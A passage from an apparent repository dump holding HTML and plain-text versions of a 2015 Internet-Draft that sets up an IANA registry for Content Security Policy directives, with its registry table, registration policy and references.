href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">img-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">media-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">object-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">plugin-types</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">report-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">sandbox</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">script-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">style-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.section.4.2\"><a href=\"#rfc.section.4.2\">4.2.</a> <a href=\"#registration-policy-for-content-security-policy-directives\" id=\"registration-policy-for-content-security-policy-directives\">Registration Policy for Content Security Policy directives</a></h1>\n<p id=\"rfc.section.4.2.p.1\">As per the terminology in <a href=\"#RFC5226\">[RFC5226]</a> and actions accorded to such a role, the registration policy for Content Security Policy directives is &#8220;Specification Required, Designated Expert&#8221; (the former implies the latter).</p>\n<p id=\"rfc.section.4.2.p.2\">The Designated Expert, when deliberating on whether to include a new directive in the registry, MAY use the criteria provided below to reach a decision. These are not an exhaustive list, but representative of the issues to consider when rendering an equitable decision):</p>\n<p/>\n\n<ul>\n  <li>Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.</li>\n  <li>Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.</li>\n</ul>\n<h1 id=\"rfc.section.5\"><a href=\"#rfc.section.5\">5.</a> <a href=\"#security-considerations\" id=\"security-considerations\">Security Considerations</a></h1>\n<p id=\"rfc.section.5.p.1\">The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives MUST contain detailed security and privacy considerations sections, and SHOULD contain usage information which informs web developers as to the directive&#8217;s expected implementation.</p>\n<h1 id=\"rfc.references\"><a href=\"#rfc.references\">6.</a> References</h1>\n<h1 id=\"rfc.references.1\"><a href=\"#rfc.references.1\">6.1.</a> Normative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"CSP\">[CSP]</b>\n      </td>\n      <td class=\"top\"><a title=\"Google, Inc.\">West, M.</a> and <a title=\"Mozilla\">D. Veditz</a>, \"<a href=\"https://w3c.github.io/webappsec-csp/\">Content Security Policy</a>\", n.d..</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC2119\">[RFC2119]</b>\n      </td>\n      <td class=\"top\"><a>Bradner, S.</a>, \"<a href=\"http://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>\", BCP 14, RFC 2119, DOI 10.17487/RFC2119, March 1997.</td>\n    </tr>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5226\">[RFC5226]</b>\n      </td>\n      <td class=\"top\"><a>Narten, T.</a> and <a>H. Alvestrand</a>, \"<a href=\"http://tools.ietf.org/html/rfc5226\">Guidelines for Writing an IANA Considerations Section in RFCs</a>\", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.references.2\"><a href=\"#rfc.references.2\">6.2.</a> Informative References</h1>\n<table>\n  <tbody>\n    <tr>\n      <td class=\"reference\">\n        <b id=\"RFC5341\">[RFC5341]</b>\n      </td>\n      <td class=\"top\"><a>Jennings, C.</a> and <a>V. Gurbani</a>, \"<a href=\"http://tools.ietf.org/html/rfc5341\">The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry</a>\", RFC 5341, DOI 10.17487/RFC5341, September 2008.</td>\n    </tr>\n  </tbody>\n</table>\n<h1 id=\"rfc.appendix.A\"><a href=\"#rfc.appendix.A\">Appendix A.</a> <a href=\"#acknowledgements\" id=\"acknowledgements\">Acknowledgements</a></h1>\n<p id=\"rfc.section.A.p.1\">I&#8217;ve cargo-culted this document from <a href=\"#RFC5341\">[RFC5341]</a>, so thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within.</p>\n<h1 id=\"rfc.authors\">\n  <a href=\"#rfc.authors\">Author's Address</a>\n</h1>\n<div class=\"avoidbreak\">\n  <address class=\"vcard\">\n\t<span class=\"vcardline\">\n\t  <span class=\"fn\">Mike West</span> \n\t  <span class=\"n hidden\">\n\t\t<span class=\"family-name\">West</span>\n\t  </span>\n\t</span>\n\t<span class=\"org vcardline\">Google, Inc</span>\n\t<span class=\"adr\">\n\t  \n\t  <span class=\"vcardline\">\n\t\t<span class=\"locality\"></span> \n\t\t<span class=\"region\"></span>\n\t\t<span class=\"code\"></span>\n\t  </span>\n\t  <span class=\"country-name vcardline\"></span>\n\t</span>\n\t<span class=\"vcardline\">EMail: <a href=\"mailto:mkwst@google.com\">mkwst@google.com</a></span>\n\n<span class=\"vcardline\">URI: <a href=\"https://mikewest.org/\">https://mikewest.org/</a></span>\n\n  </address>\n</div>\n\n</body>\n</html>\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-00.txt",
    "content": "\n\n\n\nNetwork Working Group                                            M. West\nInternet-Draft                                               Google, Inc\nIntended status: Standards Track                         October 6, 2015\nExpires: April 8, 2016\n\n\n               Content Security Policy Directive Registry\n                    draft-west-webappsec-csp-reg-00\n\nAbstract\n\n   This document establishes an Internet Assigned Number Authority\n   (IANA) registry for Content Security Policy directives.  It populates\n   the registry with the directives defined in the CSP specification.\n\nStatus of This Memo\n\n   This Internet-Draft is submitted in full conformance with the\n   provisions of BCP 78 and BCP 79.\n\n   Internet-Drafts are working documents of the Internet Engineering\n   Task Force (IETF).  Note that other groups may also distribute\n   working documents as Internet-Drafts.  The list of current Internet-\n   Drafts is at http://datatracker.ietf.org/drafts/current/.\n\n   Internet-Drafts are draft documents valid for a maximum of six months\n   and may be updated, replaced, or obsoleted by other documents at any\n   time.  It is inappropriate to use Internet-Drafts as reference\n   material or to cite them other than as \"work in progress.\"\n\n   This Internet-Draft will expire on April 8, 2016.\n\nCopyright Notice\n\n   Copyright (c) 2015 IETF Trust and the persons identified as the\n   document authors.  All rights reserved.\n\n   This document is subject to BCP 78 and the IETF Trust's Legal\n   Provisions Relating to IETF Documents\n   (http://trustee.ietf.org/license-info) in effect on the date of\n   publication of this document.  Please review these documents\n   carefully, as they describe your rights and restrictions with respect\n   to this document.  Code Components extracted from this document must\n   include Simplified BSD License text as described in Section 4.e of\n   the Trust Legal Provisions and are provided without warranty as\n   described in the Simplified BSD License.\n\n\n\n\n\nWest                      Expires April 8, 2016                 [Page 1]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\nTable of Contents\n\n   1.  Introduction  . . . . . . . . . . . . . . . . . . . . . . . .   2\n   2.  Terminology . . . . . . . . . . . . . . . . . . . . . . . . .   2\n   3.  Use of the Registry . . . . . . . . . . . . . . . . . . . . .   2\n   4.  IANA Considerations . . . . . . . . . . . . . . . . . . . . .   3\n     4.1.  Content Security Policy directives Registry . . . . . . .   3\n     4.2.  Registration Policy for Content Security Policy\n           directives  . . . . . . . . . . . . . . . . . . . . . . .   4\n   5.  Security Considerations . . . . . . . . . . . . . . . . . . .   4\n   6.  References  . . . . . . . . . . . . . . . . . . . . . . . . .   4\n     6.1.  Normative References  . . . . . . . . . . . . . . . . . .   4\n     6.2.  Informative References  . . . . . . . . . . . . . . . . .   5\n   Appendix A.  Acknowledgements . . . . . . . . . . . . . . . . . .   5\n   Author's Address  . . . . . . . . . . . . . . . . . . . . . . . .   5\n\n1.  Introduction\n\n   The Content Security Policy specification [CSP] defines a mechanism\n   by which web developers can control the resources which a particular\n   page can fetch or execute, as well as a number of security-relevant\n   policy decisions.\n\n   The policy language specified in that document consists of an\n   extensible set of \"directives\", each of which controls a specific\n   resource type or policy decision.  This specification establishes a\n   registry to ensure that extensions to CSP are listed and\n   standardized.\n\n2.  Terminology\n\n   The key words \"MUST\", \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\",\n   \"SHOULD\", \"SHOULD NOT\", \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in this\n   document are to be interpreted as described in [RFC2119].\n\n3.  Use of the Registry\n\n   Content Security Policy directives MUST be documented in a readily\n   available public specification in order to be registered by IANA.\n   This documentation MUST fully explain the syntax, intended usage, and\n   semantics of the directive.  The intent of this requirement is to\n   assure interoperable independent implementations, and to prevent\n   accidental namespace collisions between implementations of dissimilar\n   features.\n\n   Documents defining new Content Security Policy directives MUST\n   register them with IANA, as described in Section 4.  The IANA\n\n\n\n\nWest                      Expires April 8, 2016                 [Page 2]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n   registration policy for such parameters is \"Specification Required,\n   Designated Expert\", and is further discussed in Section 4.2.\n\n4.  IANA Considerations\n\n   This specification creates a new IANA registry named \"Content\n   Security Policy directives\".\n\n4.1.  Content Security Policy directives Registry\n\n   New Content Security Policy directives, and updates to existing\n   directives, MUST be registered with IANA.\n\n   When registering a new Content Security Policy directive, the\n   following information MUST be provided:\n\n   o  The directive's name (which MUST be an ASCII string)\n\n   o  A reference to the readily available public specification defining\n      the new directive's syntax, usage, and semantics.\n\n   The following table contains the initial values for this registry:\n\n                      +-----------------+-----------+\n                      | Directive Name  | Reference |\n                      +-----------------+-----------+\n                      | base-uri        | [CSP]     |\n                      | child-src       | [CSP]     |\n                      | connect-src     | [CSP]     |\n                      | default-src     | [CSP]     |\n                      | font-src        | [CSP]     |\n                      | form-action     | [CSP]     |\n                      | frame-ancestors | [CSP]     |\n                      | frame-src       | [CSP]     |\n                      | img-src         | [CSP]     |\n                      | media-src       | [CSP]     |\n                      | object-src      | [CSP]     |\n                      | plugin-types    | [CSP]     |\n                      | report-uri      | [CSP]     |\n                      | sandbox         | [CSP]     |\n                      | script-src      | [CSP]     |\n                      | style-src       | [CSP]     |\n                      +-----------------+-----------+\n\n\n\n\n\n\n\n\nWest                      Expires April 8, 2016                 [Page 3]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n4.2.  Registration Policy for Content Security Policy directives\n\n   As per the terminology in [RFC5226] and actions accorded to such a\n   role, the registration policy for Content Security Policy directives\n   is \"Specification Required, Designated Expert\" (the former implies\n   the latter).\n\n   The Designated Expert, when deliberating on whether to include a new\n   directive in the registry, MAY use the criteria provided below to\n   reach a decision.  These are not an exhaustive list, but\n   representative of the issues to consider when rendering an equitable\n   decision):\n\n   o  Content Security Policy is a restrictive feature, which allows web\n      developers to deny themselves access to resources and APIs which\n      would otherwise be available.  Deploying Content Security Policy\n      is, therefore, a strict reduction in risk.  The expert should\n      carefully consider whether proposed directives would violate this\n      property.\n\n   o  Granular directives are valuable, but the expert should strive to\n      strike a reasonable balance between providing developers with all\n      the knobs and switches possible, and providing only those with\n      known security implications.\n\n5.  Security Considerations\n\n   The registry in this document does not in itself have security\n   implications.  The directives specified, however, certainly do.  The\n   documents referenced when registering new directives MUST contain\n   detailed security and privacy considerations sections, and SHOULD\n   contain usage information which informs web developers as to the\n   directive's expected implementation.\n\n6.  References\n\n6.1.  Normative References\n\n   [CSP]      West, M. and D. Veditz, \"Content Security Policy\", n.d.,\n              <https://w3c.github.io/webappsec-csp/>.\n\n   [RFC2119]  Bradner, S., \"Key words for use in RFCs to Indicate\n              Requirement Levels\", BCP 14, RFC 2119, DOI 10.17487/\n              RFC2119, March 1997,\n              <http://www.rfc-editor.org/info/rfc2119>.\n\n\n\n\n\n\nWest                      Expires April 8, 2016                 [Page 4]\n\f\nInternet-Draft              webappsec-csp-reg               October 2015\n\n\n   [RFC5226]  Narten, T. and H. Alvestrand, \"Guidelines for Writing an\n              IANA Considerations Section in RFCs\", BCP 26, RFC 5226,\n              DOI 10.17487/RFC5226, May 2008,\n              <http://www.rfc-editor.org/info/rfc5226>.\n\n6.2.  Informative References\n\n   [RFC5341]  Jennings, C. and V. Gurbani, \"The Internet Assigned Number\n              Authority (IANA) tel Uniform Resource Identifier (URI)\n              Parameter Registry\", RFC 5341, DOI 10.17487/RFC5341,\n              September 2008, <http://www.rfc-editor.org/info/rfc5341>.\n\nAppendix A.  Acknowledgements\n\n   I've cargo-culted this document from [RFC5341], so thank you to\n   Cullen Jennings and Vijay K.  Gurbani for giving me a reasonable\n   template to work within.\n\nAuthor's Address\n\n   Mike West\n   Google, Inc\n\n   Email: mkwst@google.com\n   URI:   https://mikewest.org/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nWest                      Expires April 8, 2016                 [Page 5]\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-01.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\n<html lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head profile=\"http://www.w3.org/2006/03/hcard http://dublincore.org/documents/2008/08/04/dc-html/\">\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=us-ascii\" />\n\n  <title>Content Security Policy Directive Registry</title>\n\n  <style type=\"text/css\" title=\"Xml2Rfc (sans serif)\">\n  /*<![CDATA[*/\n\t  a {\n\t  text-decoration: none;\n\t  }\n      /* info code from SantaKlauss at http://www.madaboutstyle.com/tooltip2.html */\n      a.info {\n          /* This is the key. */\n          position: relative;\n          z-index: 24;\n          text-decoration: none;\n      }\n      a.info:hover {\n          z-index: 25;\n          color: #FFF; background-color: #900;\n      }\n      a.info span { display: none; }\n      a.info:hover span.info {\n          /* The span will display just on :hover state. */\n          display: block;\n          position: absolute;\n          font-size: smaller;\n          top: 2em; left: -5em; width: 15em;\n          padding: 2px; border: 1px solid #333;\n          color: #900; background-color: #EEE;\n          text-align: left;\n      }\n\t  a.smpl {\n\t  color: black;\n\t  }\n\t  a:hover {\n\t  text-decoration: underline;\n\t  }\n\t  a:active {\n\t  text-decoration: underline;\n\t  }\n\t  address {\n\t  margin-top: 1em;\n\t  margin-left: 2em;\n\t  font-style: normal;\n\t  }\n\t  body {\n\t  color: black;\n\t  font-family: verdana, helvetica, arial, sans-serif;\n\t  font-size: 10pt;\n\t  max-width: 55em;\n\t  \n\t  }\n\t  cite {\n\t  font-style: normal;\n\t  }\n\t  dd {\n\t  margin-right: 2em;\n\t  }\n\t  dl {\n\t  margin-left: 2em;\n\t  }\n\t\n\t  ul.empty {\n\t  list-style-type: none;\n\t  }\n\t  ul.empty li {\n\t  margin-top: .5em;\n\t  }\n\t  dl p {\n\t  margin-left: 0em;\n\t  }\n\t  dt {\n\t  margin-top: .5em;\n\t  }\n\t  h1 {\n\t  font-size: 14pt;\n\t  line-height: 21pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h1.np {\n\t  page-break-before: always;\n\t  }\n\t  h1 a {\n\t  color: #333333;\n\t  }\n\t  h2 {\n\t  font-size: 12pt;\n\t  line-height: 15pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h3, h4, h5, h6 {\n\t  font-size: 10pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h2 a, h3 a, h4 a, h5 a, h6 a {\n\t  color: black;\n\t  }\n\t  img {\n\t  margin-left: 3em;\n\t  }\n\t  li {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol p {\n\t  margin-left: 0em;\n\t  }\n\t  p {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  pre {\n\t  margin-left: 3em;\n\t  background-color: lightyellow;\n\t  padding: .25em;\n\t  }\n\t  pre.text2 {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f0f0f0;\n\t  width: 69em;\n\t  }\n\t  pre.inline {\n\t  background-color: white;\n\t  padding: 0em;\n\t  }\n\t  pre.text {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  width: 69em;\n\t  }\n\t  pre.drawing {\n\t  border-style: solid;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  padding: 2em;\n\t  }\n\t  table {\n\t  margin-left: 2em;\n\t  }\n\t  table.tt {\n\t  vertical-align: top;\n\t  }\n\t  table.full {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt td {\n\t  vertical-align: top;\n\t  }\n\t  table.full td {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt th {\n\t  vertical-align: top;\n\t  }\n\t  table.full th {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers th {\n\t  border-style: none none inset none;\n\t  border-width: 1px;\n\t  }\n\t  table.left {\n\t  margin-right: auto;\n\t  }\n\t  table.right {\n\t  margin-left: auto;\n\t  }\n\t  table.center {\n\t  margin-left: auto;\n\t  margin-right: auto;\n\t  }\n\t  caption {\n\t  caption-side: bottom;\n\t  font-weight: bold;\n\t  font-size: 9pt;\n\t  margin-top: .5em;\n\t  }\n\t\n\t  table.header {\n\t  border-spacing: 1px;\n\t  width: 95%;\n\t  font-size: 10pt;\n\t  color: white;\n\t  }\n\t  td.top {\n\t  vertical-align: top;\n\t  }\n\t  td.topnowrap {\n\t  vertical-align: top;\n\t  white-space: nowrap; \n\t  }\n\t  table.header td {\n\t  background-color: gray;\n\t  width: 50%;\n\t  }\n\t  table.header a {\n\t  color: white;\n\t  }\n\t  td.reference {\n\t  vertical-align: top;\n\t  white-space: nowrap;\n\t  padding-right: 1em;\n\t  }\n\t  thead {\n\t  display:table-header-group;\n\t  }\n\t  ul.toc, ul.toc ul {\n\t  list-style: none;\n\t  margin-left: 1.5em;\n\t  margin-right: 0em;\n\t  padding-left: 0em;\n\t  }\n\t  ul.toc li {\n\t  line-height: 150%;\n\t  font-weight: bold;\n\t  font-size: 10pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  ul.toc li li {\n\t  line-height: normal;\n\t  font-weight: normal;\n\t  font-size: 9pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  li.excluded {\n\t  font-size: 0pt;\n\t  }\n\t  ul p {\n\t  margin-left: 0em;\n\t  }\n\t\n\t  .comment {\n\t  background-color: yellow;\n\t  }\n\t  .center {\n\t  text-align: center;\n\t  }\n\t  .error {\n\t  color: red;\n\t  font-style: italic;\n\t  font-weight: bold;\n\t  }\n\t  .figure {\n\t  font-weight: bold;\n\t  text-align: center;\n\t  font-size: 9pt;\n\t  }\n\t  .filename {\n\t  color: #333333;\n\t  font-weight: bold;\n\t  font-size: 12pt;\n\t  line-height: 21pt;\n\t  text-align: center;\n\t  }\n\t  .fn {\n\t  font-weight: bold;\n\t  }\n\t  .hidden {\n\t  display: none;\n\t  }\n\t  .left {\n\t  text-align: left;\n\t  }\n\t  .right {\n\t  text-align: right;\n\t  }\n\t  .title {\n\t  color: #990000;\n\t  font-size: 18pt;\n\t  line-height: 18pt;\n\t  font-weight: bold;\n\t  text-align: center;\n\t  margin-top: 36pt;\n\t  }\n\t  .vcardline {\n\t  display: block;\n\t  }\n\t  .warning {\n\t  font-size: 14pt;\n\t  background-color: yellow;\n\t  }\n\t\n\t\n\t  @media print {\n\t  .noprint {\n\t\tdisplay: none;\n\t  }\n\t\n\t  a {\n\t\tcolor: black;\n\t\ttext-decoration: none;\n\t  }\n\t\n\t  table.header {\n\t\twidth: 90%;\n\t  }\n\t\n\t  td.header {\n\t\twidth: 50%;\n\t\tcolor: black;\n\t\tbackground-color: white;\n\t\tvertical-align: top;\n\t\tfont-size: 12pt;\n\t  }\n\t\n\t  ul.toc a::after {\n\t\tcontent: leader('.') target-counter(attr(href), page);\n\t  }\n\t\n\t  ul.ind li li a {\n\t\tcontent: target-counter(attr(href), page);\n\t  }\n\t\n\t  .print2col {\n\t\tcolumn-count: 2;\n\t\t-moz-column-count: 2;\n\t\tcolumn-fill: auto;\n\t  }\n\t  }\n\t\n\t  @page {\n\t  @top-left {\n\t\t   content: \"Internet-Draft\"; \n\t  } \n\t  @top-right {\n\t\t   content: \"December 2010\"; \n\t  } \n\t  @top-center {\n\t\t   content: \"Abbreviated Title\";\n\t  } \n\t  @bottom-left {\n\t\t   content: \"Doe\"; \n\t  } \n\t  @bottom-center {\n\t\t   content: \"Expires June 2011\"; \n\t  } \n\t  @bottom-right {\n\t\t   content: \"[Page \" counter(page) \"]\"; \n\t  } \n\t  }\n\t\n\t  @page:first { \n\t\t@top-left {\n\t\t  content: normal;\n\t\t}\n\t\t@top-right {\n\t\t  content: normal;\n\t\t}\n\t\t@top-center {\n\t\t  content: normal;\n\t\t}\n\t  }\n  /*]]>*/\n  </style>\n\n  <link href=\"#rfc.toc\" rel=\"Contents\"/>\n<link href=\"#rfc.section.1\" rel=\"Chapter\" title=\"1 Introduction\"/>\n<link href=\"#rfc.section.2\" rel=\"Chapter\" title=\"2 Use of the Registry\"/>\n<link href=\"#rfc.section.3\" rel=\"Chapter\" title=\"3 IANA Considerations\"/>\n<link href=\"#rfc.section.3.1\" rel=\"Chapter\" title=\"3.1 Content Security Policy directives Registry\"/>\n<link href=\"#rfc.section.3.2\" rel=\"Chapter\" title=\"3.2 Registration Policy for Content Security Policy directives\"/>\n<link href=\"#rfc.section.4\" rel=\"Chapter\" title=\"4 Security Considerations\"/>\n<link href=\"#rfc.references\" rel=\"Chapter\" title=\"5 References\"/>\n<link href=\"#rfc.references.1\" rel=\"Chapter\" title=\"5.1 Normative References\"/>\n<link href=\"#rfc.references.2\" rel=\"Chapter\" title=\"5.2 Informative References\"/>\n<link href=\"#rfc.appendix.A\" rel=\"Chapter\" title=\"A Acknowledgements\"/>\n<link href=\"#rfc.authors\" rel=\"Chapter\"/>\n\n\n  <meta name=\"generator\" content=\"xml2rfc version 2.4.8 - http://tools.ietf.org/tools/xml2rfc\" />\n  <link rel=\"schema.dct\" href=\"http://purl.org/dc/terms/\" />\n\n  <meta name=\"dct.creator\" content=\"West, M.\" />\n  <meta name=\"dct.identifier\" content=\"urn:ietf:id:draft-west-webappsec-csp-reg-01\" />\n  <meta name=\"dct.issued\" scheme=\"ISO8601\" content=\"2015-10-7\" />\n  <meta name=\"dct.abstract\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.\" />\n  <meta name=\"description\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.\" />\n\n</head>\n\n<body>\n\n  <table class=\"header\">\n    <tbody>\n    \n    \t<tr>\n  <td class=\"left\">Network Working Group</td>\n  <td class=\"right\">M. West</td>\n</tr>\n<tr>\n  <td class=\"left\">Internet-Draft</td>\n  <td class=\"right\">Google, Inc</td>\n</tr>\n<tr>\n  <td class=\"left\">Intended status: Informational</td>\n  <td class=\"right\">October 7, 2015</td>\n</tr>\n<tr>\n  <td class=\"left\">Expires: April 9, 2016</td>\n  <td class=\"right\"></td>\n</tr>\n\n    \t\n    </tbody>\n  </table>\n\n  <p class=\"title\">Content Security Policy Directive Registry<br />\n  <span class=\"filename\">draft-west-webappsec-csp-reg-01</span></p>\n  \n  <h1 id=\"rfc.abstract\">\n  <a href=\"#rfc.abstract\">Abstract</a>\n</h1>\n<p>This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.</p>\n<h1 id=\"rfc.status\">\n  <a href=\"#rfc.status\">Status of This Memo</a>\n</h1>\n<p>This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.</p>\n<p>Internet-Drafts are working documents of the Internet Engineering Task Force (IETF).  Note that other groups may also distribute working documents as Internet-Drafts.  The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.</p>\n<p>Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time.  It is inappropriate to use Internet-Drafts as reference material or to cite them other than as \"work in progress.\"</p>\n<p>This Internet-Draft will expire on April 9, 2016.</p>\n<h1 id=\"rfc.copyrightnotice\">\n  <a href=\"#rfc.copyrightnotice\">Copyright Notice</a>\n</h1>\n<p>Copyright (c) 2015 IETF Trust and the persons identified as the document authors.  All rights reserved.</p>\n<p>This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document.  Please review these documents carefully, as they describe your rights and restrictions with respect to this document.  Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.</p>\n\n  \n  <hr class=\"noprint\" />\n  <h1 class=\"np\" id=\"rfc.toc\"><a href=\"#rfc.toc\">Table of Contents</a></h1>\n  <ul class=\"toc\">\n\n  \t<li>1.   <a href=\"#rfc.section.1\">Introduction</a></li>\n<li>2.   <a href=\"#rfc.section.2\">Use of the Registry</a></li>\n<li>3.   <a href=\"#rfc.section.3\">IANA Considerations</a></li>\n<li>3.1.   <a href=\"#rfc.section.3.1\">Content Security Policy directives Registry</a></li>\n<li>3.2.   <a href=\"#rfc.section.3.2\">Registration Policy for Content Security Policy directives</a></li>\n<li>4.   <a href=\"#rfc.section.4\">Security Considerations</a></li>\n<li>5.   <a href=\"#rfc.references\">References</a></li>\n<li>5.1.   <a href=\"#rfc.references.1\">Normative References</a></li>\n<li>5.2.   <a href=\"#rfc.references.2\">Informative References</a></li>\n<li>Appendix A.   <a href=\"#rfc.appendix.A\">Acknowledgements</a></li>\n<li><a href=\"#rfc.authors\">Author's Address</a></li>\n\n\n  </ul>\n\n  <h1 id=\"rfc.section.1\"><a href=\"#rfc.section.1\">1.</a> <a href=\"#introduction\" id=\"introduction\">Introduction</a></h1>\n<p id=\"rfc.section.1.p.1\">The Content Security Policy specification <a href=\"#CSP\">[CSP]</a> defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.</p>\n<p id=\"rfc.section.1.p.2\">The policy language specified in that document consists of an extensible set of &#8220;directives&#8221;, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.</p>\n<h1 id=\"rfc.section.2\"><a href=\"#rfc.section.2\">2.</a> <a href=\"#use-of-the-registry\" id=\"use-of-the-registry\">Use of the Registry</a></h1>\n<p id=\"rfc.section.2.p.1\">Content Security Policy directives must be documented in a readily available public specification in order to be registered by IANA. This documentation must fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.</p>\n<p id=\"rfc.section.2.p.2\">Documents defining new Content Security Policy directives must register them with IANA, as described in Section 3. The IANA registration policy for such parameters is &#8220;Specification Required&#8221; <a href=\"#RFC5226\">[RFC5226]</a>, and is further discussed in Section 3.2.</p>\n<h1 id=\"rfc.section.3\"><a href=\"#rfc.section.3\">3.</a> <a href=\"#iana-considerations\" id=\"iana-considerations\">IANA Considerations</a></h1>\n<p id=\"rfc.section.3.p.1\">This specification creates a new top-level IANA registry named &#8220;Content Security Policy directives&#8221;.</p>\n<h1 id=\"rfc.section.3.1\"><a href=\"#rfc.section.3.1\">3.1.</a> <a href=\"#content-security-policy-directives-registry\" id=\"content-security-policy-directives-registry\">Content Security Policy directives Registry</a></h1>\n<p id=\"rfc.section.3.1.p.1\">New Content Security Policy directives, and updates to existing directives, must be registered with IANA.</p>\n<p id=\"rfc.section.3.1.p.2\">When registering a new Content Security Policy directive, the following information must be provided:</p>\n<p/>\n\n<ul>\n  <li>The directive&#8217;s name, an ASCII string conforming to the <samp>directive-name</samp> rule specified in Section 4.1 of <a href=\"#CSP\">[CSP]</a>.</li>\n  <li>A reference to the readily available public specification defining the new directive&#8217;s syntax, usage, and semantics.</li>\n</ul>\n<p id=\"rfc.section.3.1.p.4\">The following table contains the initial values for this registry:</p>\n<table cellpadding=\"3\" cellspacing=\"0\" class=\"tt full center\">\n  <thead>\n    <tr>\n      <th class=\"left\">Directive Name</th>\n      <th class=\"left\">Reference</th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr>\n      <td class=\"left\">base-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">child-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">connect-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">default-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    